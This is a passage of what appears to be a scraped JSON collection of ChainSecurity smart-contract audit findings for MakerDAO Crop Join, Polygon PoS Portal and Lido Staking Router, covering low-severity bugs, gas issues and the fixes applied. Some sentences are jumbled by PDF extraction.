CriticalHighMediumLowSpeci\ufb01cationChangedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedDesignLowVersion1Speci\ufb01cationChangedDesignLowVersion1CodeCorrected \f 1. The events now include the addresses of the urn and the user. 2. The Flee event now features following fields: The addresses for the user and the urn, the amount. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-dss-crop-join/"}, {"title": "7.3 Incorrect Decimal Annotation", "body": " The decimals of bonus and total could differ. uint256 public share; // crops per gem [ray] uint256 public total; // total gems [wad] uint256 public stock; // crop balance [wad] Share is calculated and updated in CropJoin.harvest(): function harvest(address from, address to) internal { if (total > 0) share = add(share, rdiv(crop(), total)); uint256 last = crops[from]; uint256 curr = rmul(stake[from], share); if (curr > last) require(bonus.transfer(to, curr - last)); stock = bonus.balanceOf(address(this)); } share is in ray, crop() is decimals of bonus and total is wad. Note that rdiv() multiplies crop() with a ray. The resulting unit for share is bonus decimals * ray, bonus decimals may not be in 18 decimals. rmul(stake[from], share); correctly calculates the amount in bonus token unit. The calculations are correct but the unit annotations are not accurate. The annotations have been updated: uint256 public share; // crops per gem [bonus decimals * ray / wad] uint256 public total; // total gems [wad] uint256 public stock; // crop balance [bonus decimals] mapping (address => uint256) public crops; // crops per user [bonus decimals] ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-dss-crop-join/"}, {"title": "7.4 Urn Proxy Load Inefficiency", "body": " The flux function of Cropper calls getOrCreateProxy to load the source urn proxy. Here a check similar to the one in move would save gas, firstly by saving a function call, and secondly by reverting the transaction earlier in case the urn does not exist. If the source urn does not exist, tack will revert on non-zero wad parameter. MakerDAO - DSS Crop Join - 15 CorrectnessLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f Flux() now loads the source urn proxy directly from the proxy mapping and reverts if no entry exists. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-dss-crop-join/"}, {"title": "7.5 NewProxy Event Consistency", "body": " The event NewProxy, which is triggered when a new urn proxy is deployed, is implemented in the Charter contract but not in Cropper. Since the two contracts are meant to behave similarly, the NewProxy event should consistent. The NewProxy event has been added to the UrnProxy contract in Cropper.sol. MakerDAO - DSS Crop Join - 16 DesignLowVersion1CodeCorrected \f8 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-dss-crop-join/"}, {"title": "8.1 UrnProxy With Different ilk", "body": " It is possible to send gem that do not correspond to any ilk managed by the Cropper to an urn proxy and generate debt from this collateral. Since the urn proxy is managed by the Cropper it is not possible to get this gem out of the urn proxy. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-dss-crop-join/"}, {"title": "8.2 Withdraw Value on Flee", "body": " The internal accounting inside CropJoin is based on shares with 18 decimals: Upon join(), the amount of tokens brought is converted into shares by expanding the value to an 18 decimals representation and a division through the net value per share: The opposite is done during exit(). This amount of shares is used for all accounting purposes, namely to update the gem balance in the VAT, the stake[urn] and the total. SynthetixJoin.flee() retrieves the value stored in the gem mapping at the VAT. This value is in the unit of shares. This value however is used as the amount of tokens to withdraw from the pool. function flee(address urn, address usr) public override { if (live == 1) { uint256 val = vat.gem(ilk, urn); if (val > 0) pool.withdraw(val); } super.flee(urn, usr); } The unit mismatch (shares vs tokens) is not problematic for SynthetixJoin under the condition that the gem token has 18 decimals. Due to the asset valuation in SynthetixJoin (nav()) the exchange rate between token and shares is 1:1. In general, for an arbitrary CropJoin contract this may not hold. It's problematic when the exchange rate is not 1:1 or the token doesn't have 18 decimals. If too little tokens are withdrawn from the pool the amount of tokens available at the Join adapter are insufficient to transfer the required amount to the user and the whole transaction fails blocking withdrawals. The other way, rounded surplus tokens will remain at the CropJoin contract. MakerDAO - DSS Crop Join - 17 NoteVersion1NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-dss-crop-join/"}, {"title": "7.1 ChainExitERC1155Predicate No Exit Event", "body": " No Exit event is defined in ChainExitERC1155Predicate. Hence, upon calling exitTokens no useful and informative event gets emitted. Furthermore this behavior is inconsistent with the other predicates. Specification changed: Polygon has acknowledged lack of an exit event in ChainExitERC1155Predicate mentioning that: \"Contract is deprecated and was never deployed.\" ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/polygon-pos-portal/"}, {"title": "7.2 ChildChainManager cleanMapToken Emits", "body": " Wrong Event By calling cleanMapToken, a certain bijection mapping between root and child tokens gets removed. However, the event emitted wrongly indicates a mapping has taken place. Polygon defined a new event TokenUnmapped which gets emitted once a certain mapping between a root and a child token gets removed. Polygon - PoS Portal - 13 CriticalHighMediumLowSpeci\ufb01cationChangedCodeCorrectedCodeCorrectedSpeci\ufb01cationChangedCodeCorrectedDesignLowVersion1Speci\ufb01cationChangedCorrectnessLowVersion1CodeCorrected \f7.3 Unused ExitedERC721Batch Event ERC721Predicate defines event ExitedERC721Batch, however; exitTokens does not support batch exiting of tokens and this event is not used at all. Polygon has removed the definition of ExitedERC721Batch from their codebase. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/polygon-pos-portal/"}, {"title": "7.4 _processMessageFromChild Comment", "body": " Incorrect The comment of _processMessageFromChild() in BaseRootTunnel says that is called from the onStateReceive function. This is incorrect. It is actually called from receiveMessage(). Specification changed: Polygon has corrected the comments on the function _processMessageFromChild saying that it is called from receiveMessage(). ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/polygon-pos-portal/"}, {"title": "7.5 MetaTransactionExecuted Event Has No", "body": " Indexed Arguments The aforementioned event is defined as event MetaTransactionExecuted( address userAddress, address payable relayerAddress, bytes functionSignature ); None of its arguments are marked as indexed, which could degrade user experience. Indexing fields of events, e.g. addresses, allows to search for them easily. Polygon defined userAddress and relayerAddress as MetaTransactionExecuted. indexed fields of the event event MetaTransactionExecuted( address indexed userAddress, address payable indexed relayerAddress, Polygon - PoS Portal - 14 DesignLowVersion1CodeCorrectedCorrectnessLowVersion1Speci\ufb01cationChangedDesignLowVersion1CodeCorrected \f bytes functionSignature ); ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/polygon-pos-portal/"}, {"title": "7.6 Gas Optimisation Issues Informational", "body": " The codebase has several inefficiencies in terms of gas costs when deploying and executing smart contracts. Here, we report a list of non-exhaustive possible gas optimizations: 1. ChildMintableERC1155.deposit performs a sanity check on user != address(0) after decoding depositData. This check however has already been done by the RootChainManager. 2. NativeMetaTransaction.executeMetaTransaction has a visibility of public. As this function in the current implementation gets called only externally, it ca be defined as external, which subsequently lets memory location of functionSignature be calldata. In this way, gas consumption can be reduced. 3. UpgradableProxy.updateImplementation checks _newProxyTo is non-zero. However, the exact same check is done when calling into isContract. 4. UpgradableProxy.updateAndCall is a public function. Its visibility can be changed to external letting its argument data be defined as calldata. 5. RootChainManager.receive calls into _depositEtherFor with _msgSender as the input argument. However, given the fact that sending ETH does not happen through a meta transaction, simply using msg.sender can be used. 6. ITokenPredicate.exitTokens takes an address as its first argument (sender). However, this argument is never used in any implementation of the token predicates. 7. exitTokens function for tokens with multiple transfer signatures is implemented as an if-else body, and in each branch same flow of subfield extractions is done. To reduce code footprint, these operations can be moved out of if-else and only logic be kept in each branch. 8. exitTokens function in call predicates can have an external visibility and calldata memory location for it log argument. 9. In mintable version of each token, inside an if-else statement, it checks whether an excessive amount should be minted and then transfers the actual amount to the receiver. Calling transfer functions can be done outside of if-else to decrease code footprint and reduce deployment cost. 10. NativeMetaTransaction.getNonce, which returns current valid nonce of each user. As this view function gets called only externally, its visibility can be changed to external. 11. ChainExitERC1155Predicate.exitTokens checks the withdrawer is not address zero. However, as the log data fed to it comes from a valid burn event on the child chain, from cannot be zero. 12. BaseChildTunnel.onStateReceive can be defined as external with message having calldata type. 13. BaseRootTunel.receiveMessage is never called internally. Therefore, it can be define as external with inputData being calldata. Polygon has addressed most of the gas optimisation issues. However, for those below they have decided to keep the code as-is: Polygon - PoS Portal - 15 Version1CodeCorrected \f1. \"That is correct but we are in favour of retaining this as an assertion.\" 5. \"some relayers support ETH metatxs, retaining for backwards compatibility.\" 7. No further explanations. 9. No further explanations. 11. \"That is correct but we are in favour of retaining this as an assertion.\" Polygon - PoS Portal - 16 \f8 Informational We utilize this section to point out informational findings that are less severe than issues. These informational issues allow us to point out more theoretical findings. Their explanation hopefully improves the overall understanding of the project's security. Furthermore, we point out findings which are unrelated to security. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/polygon-pos-portal/"}, {"title": "8.1 Enhance Documenation of Inline Assembly", "body": " Code forked from Biconomy is used to implement support for Meta Transactions. The assembly in function msgSender() used to retrieve the sender of the message is not as trivial as it might look. The comment documenting the code section is not appropriately describing what's happening. if (msg.sender == address(this)) { bytes memory array = msg.data; uint256 index = msg.data.length; assembly { // Load the 32 bytes word from memory with the address on the lower 20 bytes, and mask those. sender := and( mload(add(array, index)), //@okaudit-issue todo investigate calculation here, what data do we read? 0xffffffffffffffffffffffffffffffffffffffff ) } Intuitively the code seems to read 32 bytes past the end of msg.data. However, note that for variable length data in memory solidity uses the first 32 bytes to store the length of the data. Hence, mload(add(array, index)) loads the last 32 bytes of msg.data and the code works correctly. Due to the delicate nature of assembly within Solidity, this might be documented appropriately. Polygon - PoS Portal - 17 InformationalVersion1 \f9 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/polygon-pos-portal/"}, {"title": "9.1 ChildERC721 Static domainSeparator", "body": " In all variants of ChildERC721, once and only once upon deployment, domainSeparator gets calculated using the name of token and chain ID: domainSeperator = keccak256( abi.encode( EIP712_DOMAIN_TYPEHASH, keccak256(bytes(name)), keccak256(bytes(ERC712_VERSION)), address(this), bytes32(getChainId()) ) ); However, in RootChainManager and UChildERC20, a functionality is devised to let recomputation of domainSeparator, e.g. when name of token gets updated. Despite the fact, that forking and a consequent change of chain ID may not be very possible, implementing this functionality in derivations of ERC721Child could make the system more robust. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/polygon-pos-portal/"}, {"title": "9.2 Exiting MintableERC721", "body": " MintableERC721Predicate offers several exit possibilities: TRANSFER_EVENT_SIG WITHDRAW_BATCH_EVENT_SIG TRANSFER_WITH_METADATA_EVENT_SIG Due to the uniqueness of an NFT (tokenID) a token can only exist once. However, please consider all withdrawal options emit the Transfer event on the child chain and hence all can be exited using the TRANSFER_EVENT_SIG. This has the following consequences: For an exit initiated using: withdrawBatch: If one transfer has been exited using the TRANSFER_EVENT_SIG, all transfers of the batch must be individually exited using their individual transfer event. withdrawWithMetadata: If the TRANSFER_EVENT_SIG is used for the exit, the metadata is lost. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/polygon-pos-portal/"}, {"title": "9.3 Minting of ERC721 Tokens", "body": " Polygon - PoS Portal - 18 NoteVersion1NoteVersion1NoteVersion1 \fWhen using ChildMintableERC721 and MintableERC721Predicate, it is important that only the predicate has minting rights for the token on the root chain. On the child chain ChildMintableERC721 allows addresses holding an admin role to mint tokens with arbitrary token ID's given they do not exist on the child chain and have not been withdrawn to the root chain yet. This protection is only effective when no arbitrary token can be minted on the root chain. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/polygon-pos-portal/"}, {"title": "9.4 Recipient of Withdrawn Tokens", "body": " None of the withdraw functions of the child tokens allows to specify the recipient on the root chain. The recipient address is the token owner on the child chain. It is important to ensure one can access these tokens on the root chain before initiating the withdrawal. Although this generally is not an issue for EOAs, special care must be taken for contracts. For ERC721/ERC1155 if the recipient is a contract, the contract must implement the appropriate interface or the tokens may be stuck in the bridge as they cannot be exited successfully. Polygon - PoS Portal - 19 NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/polygon-pos-portal/"}, {"title": "5.1 Excessive Memory Allocations", "body": " 0 0 0 3 The slice function of the BytesLib library is used in many places. In some cases, it is used inside a loop. This allocates new memory on every loop iteration, even if the memory is no longer needed after the iteration finishes. Hence, it results in a much larger allocation of memory than is actually needed. For example, we can examine the following loop from the _addSigningKeys function of the NodeOperatorsRegistry: for (uint256 i = 0; i < _keysCount; ++i) { bytes memory key = BytesLib.slice(_publicKeys, i * PUBKEY_LENGTH, PUBKEY_LENGTH); require(!_isEmptySigningKey(key), \"EMPTY_KEY\"); bytes memory sig = BytesLib.slice(_signatures, i * SIGNATURE_LENGTH, SIGNATURE_LENGTH); _storeSigningKey(_nodeOperatorId, totalSigningKeysCount, key, sig); totalSigningKeysCount = totalSigningKeysCount.add(1); emit SigningKeyAdded(_nodeOperatorId, key); } Here, the memory is only temporarily needed, it holds the values copied from the _publicKeys and _signatures arrays. As soon as the loop iteration finishes, the key and sig arrays are no longer needed. However, the memory they used remains allocated. Instead, the arrays could be declared outside the loop, and the values copied into them on each iteration. This would cut the total memory usage of the _addSigningKeys function in half. As memory has a quadratic cost, this could significantly reduce transaction costs. The same optimization could be applied to the _makeBeaconChainDeposits32ETH function of the BeaconChainDepositor contract, which also uses BytesLib.slice in a loop. Lido - Staking Router - 11 DesignCorrectnessCriticalHighMediumLowRiskAcceptedRiskAcceptedAcknowledgedDesignLowVersion1RiskAccepted \fthe getSigningKeys and _loadAllocatedSigningKeys Similarly, the NodeOperatorsRegistry call _loadSigningKey in a loop. This allocates new memory in each iteration, despite each value only being needed for the duration of a single iteration. functions in Changes in , The declarations of the bytes arrays in _addSigningKeys, getSigningKeys and In _loadAllocatedSigningKeys were moved outside the loop. However, they are still re-allocated in every loop iteration. _makeBeaconChainDeposits32ETH was not changed. _addSigningKeys For that BytesLib.slice allocates a new bytes array every time it's called. In the case of getSigningKeys and _loadAllocatedSigningKeys, the culprit is the call to _loadSigningKey, which also allocates a new bytes array. Hence, the memory allocations still occur and the transaction costs remain the same. _makeBeaconChainDeposits32ETH, issue and the is Risk accepted Lido responded: Will be fixed in the next major protocol upgrade. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/lido-staking-router/"}, {"title": "5.2 Rounding Errors", "body": " 1. In the _getKeysAllocation function, a number of _keysToAllocate is provided. However, it's not guaranteed that all the keys will be allocated, as rounding errors may lead to an incomplete allocation of the keys. For example, with two modules each with a targetShare of 50%, a _keysToAllocate of 3 results in both modules being allocated just one key, as their targetKeys values will be rounded down to 1. 2. The getRewardsDistribution calculates a perValidatorReward as the total rewards divided by the total number of validators. Then it multiplies it by the number of validators per node operator. However, this leads to excessive rounding errors, as the division is performed before the multiplication. Instead, the multiplication should be performed first in order to reduce the amount of reward that is not distributed due to rounding errors. Risk accepted: Lido responded: This is an expected behavior and impact is tolerable. Will be fixed in the next major protocol upgrade. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/lido-staking-router/"}, {"title": "5.3 Unnecessary Reduction of Vetted Key Count", "body": " When deleting a key in the NodeOperatorsRegistry, the vettedKeysCount is set to the index of the deleted key (if the deleted key is vetted). This is done because deleting a key actually swaps it with the last key, then deletes it. Hence, if the last key is swapped to a smaller index, it might otherwise become vetted. However, if the last key has also already been vetted, this could be unnecessary - instead the vetted key count could simply be reduced by one. Lido - Staking Router - 12 Version3Version3DesignLowVersion1RiskAcceptedDesignLowVersion1Acknowledged \fAcknowledged Lido acknowledges the issue and states the following: Thank you for this finding. We won't fix this issue in current version but will address it later. Lido - Staking Router - 13 \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. -Severity Findings -Severity Findings Staking Rewards Incorrect Trimming -Severity Findings Dummy Iterations Can Be Avoided MemUtils.memcpy Mask Is Wrong -Severity Findings Code Redundancies Incorrect Comments Interface Issues Issues With Events Non-existent Modules Are Active by Default Sanity Checks Missing Visibility Can Be Reduced 0 1 2 7 ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/lido-staking-router/"}, {"title": "6.1 Staking Rewards Incorrect Trimming", "body": " In the StakingRouter, the getStakingRewardsDistribution assigns fees to recipient addresses. It then trims the resulting arrays so that there are no recipients that receive an amount of zero. However, this trimming does not work correctly. The recipients and moduleFees arrays are filled left-to-right, using the same index as the modulesCache. This means that the \"empty\" entries, where the module fees are zero, occur non-deterministically throughout the array. Hence, when the last entries are trimmed, some modules that would otherwise receive the rewardedModulesCount as an index for these arrays, so that modules which receive no fee would not increment the index. fees are not being returned. Likely, intent was to use the As such, the results returned by getStakingRewardsDistribution have the potential to be very incorrect, distributing far less fees than intended, and only distributing fees to the recipients \"lucky\" enough to be stored early in the modulesCache array. Code corrected The issue was fixed by using the rewardedModulesCount as an index for the resulting arrays, thereby ensuring that the modules receiving rewards are stored contiguously at the start of the returned arrays. Thus, the trimming is now done correctly. Lido - Staking Router - 14 CriticalHighCodeCorrectedMediumCodeCorrectedCodeCorrectedLowCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCorrectnessHighVersion1CodeCorrected \f6.2 Dummy Iterations Can Be Avoided The MinFirstAllocationStrategy features an algorithm which allocates items to buckets with different capacities. In some cases, the algorithm may do many unnecessary dummy iterations, which each allocate a single item to a bucket. For example: 1. Let's start with the scenario where we have 5 empty buckets, each with a very large capacity. 2. Now, call the allocate function, with an allocationSize of 24. 3. In the first five iterations, each bucket will be allocated 4 items, as 24 / 5 is rounded down to 4. 4. Now, an additional four \"dummy\" iterations have to be performed, which allocate an additional single item to the first four buckets. These dummy iterations could be avoided, for example, by rounding up instead of down when the allocationSize is not divisible by the number of best candidates. This would result in the first four iterations allocating 5 items each, with the last iteration having only four items left and allocating them all to the last bucket. Note that when a deposit occurs, this algorithm is run once for each staking module. Hence, as this algorithm is executed many times, reducing the number of iterations could reduce business costs, especially when more staking modules are added in the future. The allocation algorithm was updated. Now, when there are more than one best candidates, the ceil of the division of the allocationSize by bestCandidatesCount is used. allocated = Math256.min( bestCandidatesCount > 1 ? Math256.ceilDiv(allocationSize, bestCandidatesCount) : allocationSize, Math256.min(allocationSizeUpperBound, capacities[bestCandidateIndex]) - bestCandidateAllocation ); ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/lido-staking-router/"}, {"title": "6.3 MemUtils.memcpy Mask Is Wrong", "body": " The memcpy function in MemUtils copies a segment of memory from one location to another. It does so in 32-byte chunks. However, if the length of the segment to copy is not divisible by 32, it does an additional copy with a masked value so that no memory values are overwritten when they shouldn't be. However, this is done incorrectly. function memcpy(uint256 _src, uint256 _dst, uint256 _len) internal pure { assembly { // while al least 32 bytes left, copy in 32-byte chunks for { } gt(_len, 31) { } { mstore(_dst, mload(_src)) _src := add(_src, 32) _dst := add(_dst, 32) _len := sub(_len, 32) } if gt(_len, 0) { Lido - Staking Router - 15 DesignMediumVersion1CodeCorrectedCorrectnessMediumVersion1CodeCorrected \f // read the next 32-byte chunk from _dst, replace the first N bytes // with those left in the _src, and write the transformed chunk back let mask := sub(shl(1, mul(8, sub(32, _len))), 1) // 2 ** (8 * (32 - _len)) - 1 let srcMasked := and(mload(_src), not(mask)) let dstMasked := and(mload(_dst), mask) mstore(_dst, or(dstMasked, srcMasked)) } } } The mask value is calculated incorrectly. The shl instruction for Solidity assembly is specified as follows: shl(x, y): Logical shift left of y by x bits. Hence, the mask is not shifting 1 to the left by some amount. Instead, mul(8, sub(32, _len)) is being shifted to the left by 1 bit. As a result, the mask being calculated will always copy at least 30 bytes (since 2*8*(32-1)-1<512), with the remaining two bytes being partially or not at all copied, depending on the exact value of _len. In the case of _len % 32 == 16, exactly 31 bytes are copied, meaning an additional 15 bytes after the end of the memory segment are copied to the destination. This is the case when dealing with public keys. In the _loadAllocatedSigningKeys and getSigningKeys functions of the NodeOperatorsRegistry, when the public keys are copied, the length will be 48 and hence not divisible by 32. So additional bytes are copied. However, it happens to be the case the when _loadSigningKey is called, the allocated memory for the public key is directly followed by the signature. Hence, the 15 extra bytes which are copied are the first 15 bytes from the length field of the signature's bytes array. Because this length is always 3, these bytes are guaranteed to be zero. Additionally, as the destination of the memory copy is filled left-to-right, for all but the last copy operation the extra bytes that are written are immediately overwritten by the following value. Only the last copy writes 15 bytes of zeroes past the end of the publicKeys bytes array. But again, due to the order of memory allocation, this array is followed in memory by the signatures bytes array. So, the extra bytes happen to overlap with the length field of the signatures array. As the length of this array is (hopefully) less than 2 ** (17 * 8), the extra bytes that are overwritten are already set to zero anyway. All in all, this means that the memcpy function works correctly, but only due to the order of memory allocations, which happen to guarantee that the extra bytes which are copied to and from are always zero. Code corrected The argument order of the shl expression in the mask calculation was changed. let mask := sub(shl(mul(8, sub(32, _len)), 1), 1) ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/lido-staking-router/"}, {"title": "6.4 Code Redundancies", "body": " In the current implementation there are a few code redundancies which can be improved. In particular: 1. In NodeOperatorsRegistry.activateNodeOperator, the ACTIVE_OPERATORS_COUNT_POSITION is increased using SafeMath. However, it is impossible for this value to overflow. Lido - Staking Router - 16 DesignLowVersion1CodeCorrected \f2. In NodeOperatorsRegistry.distributeRewards, recipients.length is guaranteed to equal shares.length as it constructed by getRewardsDistribution that way. Hence, the relevant assertion will always be true. 3. In MinFirstAllocationStrategy.allocateToBestCandidate, condition allocationSize == 0 is checked after the first loop, despite not being affected by it. Instead, this condition could be checked at the start of the function. Alternatively, as the function is only ever called from allocate, it is actually guaranteed the allocationSize is never equal to zero. Hence, the check could also be omitted fully. the 4. In StakingRouter.deposit, it is ensured that keysToDeposit does not exceed maxDepositableKeys, which is calculated by querying the Lido contract and querying its buffered Ether amount. However, it is already guaranteed that _maxDepositsCount fulfills this condition, as only the Lido contract can call this function, and it performs checks before making this call. 5. The StakingRouter has functions, _getStorageStakingModulesMapping and _getStorageStakingIndicesMapping, which are always called with the same constant arguments. Instead of passing these arguments to the functions, the functions could inline the values in order to reduce unnecessary complexity and allow for more optimal bytecode. two 6. In the StakingRouter's deposit function, a StakingRouterETHDeposited event is emitted with the parameter _getStakingModuleIdByIndex(stakingModuleIndex). However, the staking module's ID was already passed as an argument to the function, so it doesn't need to be looked up. Instead, _stakingModuleId could be used as a parameter to this event. 7. NodeOperatorsRegistry.addNodeOperator will always emit a NodeOperatorAdded event with 0 staking limit. As there are no occasions where the event is emitted with a non-zero staking limit, this field contains essentially no information and is redundant. 8. In NodeOperatorsRegistry._getSigningKeysAllocationData, of nodeOperatorIds and exitedSigningKeysCount arrays are potentially written to is where redundantly vettedSigningKeysCount, as they may be overwritten in a following iteration. depositedSigningKeys equal case cells the the in 9. In NodeOperatorsRegistry.getRewardsDistribution, a non-empty recipients array could be returned even though the shares array contains only 0s. This corner case can happen if all the node operators are active but all their validators have exited. 10. NodeOperatorsRegistry.getValidatorsKeysStats makes of SafeMath desired exitedKeys <= depositedKeys <= vettedKeys invariant hold, the subtractions should never underflow. redundant the though, should even use Most of the redundancies reported have been fixed. 1. SafeMath is not used any more. 2. The corresponding assertion has been removed. 3. The check was moved at the beginning. 5. Now, the two functions do not accept any argument. 6. _stakingModuleId is now used. 8. The array elements are now written after the depositedSigningKeysCount == vettedSigningKeysCount check. 10. SafeMath is no longer used in the getValidatorsKeysStats function. Lido - Staking Router - 17 \fAcknowledged: 4. Lido acknowledges the additional cost associated with the redundant check. 7. This is intended behavior in order to keep backwards compatibility. 9. The returning of empty shares entries is intended behavior. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/lido-staking-router/"}, {"title": "6.5 Incorrect Comments", "body": " The code contains some inaccurate comments: 1. The doc comment for the _stakingModuleAddress of the addModule function is as follows: /** * ... * @param _stakingModuleAddress target percent of total keys in protocol, in BP * ... */ This is incorrect and describes a different parameter. 2. Point 4. in the comment in MinFirstAllocationStrategy.allocateToBestCandidate is not updated. In the current implementation, DivCeil(allocationSize, count) is used instead of integer division. 3. In NodeOperatorsRegistry, addSigningKeys enforces the same access control as addSigningKeysOperatorBH. The same holds for removeSigningKeys the same as removeSigningKeysOperatorBH. This implies that the BH versions of the functions are pointless and can be considered deprecated. However, they are not marked as such. Comments 1. and 2. have been fixed. 3. is left as is, the functions exist for backwards compatibility and are hence not deprecated. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/lido-staking-router/"}, {"title": "6.6 Interface Issues", "body": " The interfaces for certain contracts were defined multiple times, once for version ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/lido-staking-router/"}, {"title": "0.4.24 ", "body": "and once for version 0.8.9. However, some of the duplicate interfaces have outdated or clashing definitions: 1. The 0.8.9 ILido interface defines the functions updateBufferedCounters and getLastReportTimestamp, which are not implemented by the Lido contract. 2. The 0.4.24 function getStakingModuleMaxDepositableKeys which takes a parameter with the incorrect name _stakingModuleId. The 0.8.9 interface was changed to take the _stakingModuleIndex as a parameter instead. IStakingRouter interface defines a Moreover, there are some mismatches between the functions defined in the interface and the ones actually implemented. The 0.4.24/ILido interface defines the following function signatures: Lido - Staking Router - 18 CorrectnessLowVersion1CodeCorrectedCorrectnessLowVersion1CodeCorrected \ffunction getFee() external view returns (uint16 feeBasisPoints); function getFeeDistribution() external view returns (uint16 modulesFeeBasisPoints, uint16 treasuryFeeBasisPoints); However, the Lido contract implements these functions with different return types: function getFee() public view returns (uint96 totalFee) { // ... } function getFeeDistribution() public view returns (uint96 modulesFee, uint96 treasuryFee) { // ... } Code corrected Regarding mismatches between different versions: 1. The unimplemented functions were removed from the 0.8.9 ILido interface. 2. The 0.8.9 version of the IStakingRouter interface was changed, the parameter for the of now _stakingModuleId instead is getStakingModuleMaxDepositableKeys _stakingModuleIndex. Regarding mismatch of the Lido contract between interface and implementation: The interface was corrected to match the implementation. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/lido-staking-router/"}, {"title": "6.7 Issues With Events", "body": " In the implementation there are some issues with the events: In NodeOperatorsRegistry.addNodeOperator, two events are emitted. Namely, NodeOperatorAdded(id) and NodeOperatorAdded(id, _name, rewardAddress, 0). The second event contains strictly more information than the first one. In NodeOperatorsRegistry.activateNodeOperator, the NodeOperatorActiveSet event is not emitted even though it is defined. In NodeOperatorsRegistry.deactivateNodeOperator, the NodeOperatorActiveSet event is not emitted. In NodeOperatorsRegistry.distributeRewards, the RewardsDistributed event uses idx which is not the id of the node operator but the index of the operator in the recipients array. Note that this index can vary based on the status of the various operators. Moreover, the event is emitted even if shares[idx] is 0. In DepositSecurityModule._setGuardianQuorum, event will be emitted even if the quorum has not changed. the GuardianQuorumChanged In StakingRouter.setStakingModuleStatus, the StakingModuleStatusSet event will be emitted even if the status of the module has not changed. Code corrected The issues have been remedied in the following ways: Lido - Staking Router - 19 DesignLowVersion1CodeCorrected \f NodeOperatorsRegistry.addNodeOperator only emits the event with more information. The definition of the other event was removed from the IStakingModule interface. NodeOperatorsRegistry.activateNodeOperator now emits NodeOperatorActiveSet event. NodeOperatorsRegistry.deactivateNodeOperator now emits a a NodeOperatorActiveSet event. The RewardsDistributed event was changed to take the rewards address as a parameter. NodeOperatorsRegistry.distributeRewards emits the event with recipients[idx] as the address. Additionally, the transfer and event emission are omitted if the shares amount is 0. DepositSecurityModule._setGuardianQuorum no longer emits an event if the quorum has not changed. StakingRouter.setStakingModuleStatus now reverts if the new status is the same as the old one. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/lido-staking-router/"}, {"title": "6.8 Non-existent Modules Are Active by Default", "body": " Should StakingRouter.getStakingModuleByIndex be called with a non-existent index, it will return an empty StakingModule. the StakingModule struct has a status field of type IStakingRouter.StakingModuleStatus. Since the default value of the enum is Active, any uninitialized staking module will be considered active. This could be a potential problem for other contracts calling getStakingModuleByIndex. Code corrected The StakingRouter.getStakingModuleByIndex the StakingRouter.getStakingModuleMaxDepositableKeys function was modified to take an ID as an argument instead of an index. However, it is worth noting that the default value of the StakingModuleStatus is still Active. removed. Additionally, function was ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/lido-staking-router/"}, {"title": "6.9 Sanity Checks Missing", "body": " In the current implementation, a few sanity checks are missing. More specifically: In NodeOperatorsRegistry.removeSigningKeys, _fromIndex and _keysCount are checked to be less than UINT64_MAX. However, these checks do not suffice, as it's important that the sum of the two inputs is also less than UINT64_MAX (and strictly greater than 0). Note that in any of these cases, SafeMath calculations taking place later will revert. In NodeOperatorsRegistry.removeSigningKeys, _keysCount is not checked to be non-zero. This is not symmetric to the addSigningKeys case where such a check is performed. Moreover, should _keysCount equal 0 the call will have no effect, yet the ValidatorsKeysNonce will increase. In theory, the NodeOperatorsRegistry can hold up to UINT64_MAX different keys for each operator ranging from indices 0 up to UINT64_MAX - 1. This means that _index cannot be from removeSigningKey and equal to UINT64_MAX. However, is allowed this Lido - Staking Router - 20 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \fremoveSigningKeyOperatorBH. The inequality of the sanity check in these cases should be strict. In StakingRouter.addModule, the _stakingModuleAddress argument is not checked to be non-zero. As this address cannot be changed later, it may be important to sanity-check the value before setting it. In StakingRouter.addModule, the _name argument is not sanitized to be at most 64 bytes while such a check exists for the name argument in the NodeOperatorsRegistry. In NodeOperatorsRegistry._addSigningKeys, while the public keys are checked to be non-empty, there is no such a check for the signatures. Code corrected NodeOperatorsRegistry.removeSigningKeys was changed in the following ways: The sum of _fromIndex and 